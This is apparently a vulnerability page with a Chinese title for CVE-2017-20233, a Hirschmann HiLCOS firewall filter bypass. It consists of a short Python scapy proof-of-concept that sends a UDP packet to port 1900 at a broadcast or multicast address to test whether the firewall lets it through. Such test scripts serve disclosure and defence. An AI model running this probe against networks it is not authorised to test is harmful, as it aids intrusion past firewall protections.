CVE-2017-20233 Hirschmann HiLCOS防火墙过滤绕过漏洞

# PoC for CVE-2017-20233 # This script demonstrates sending multicast/broadcast traffic that may bypass the firewall. # Requires: scapy from scapy.all import * import sys def send_bypass_traffic(target_ip): # Craft a broadcast packet (e.g., to 255.255.255.255) or multicast # This traffic simulates what should be blocked but might pass through pkt = IP(dst=target_ip) / UDP(dport=1900) / Raw(load="CVE-2017-20233 Test Payload") print(f"[*] Sending test packet to {target_ip}...") send(pkt, verbose=0) print("[+] Packet sent. Verify if traffic bypassed the device firewall.") if __name__ == "__main__": if len(sys.argv) < 2: print("Usage: python poc.py <broadcast_or_multicast_ip>") sys.exit(1) send_bypass_traffic(sys.argv[1])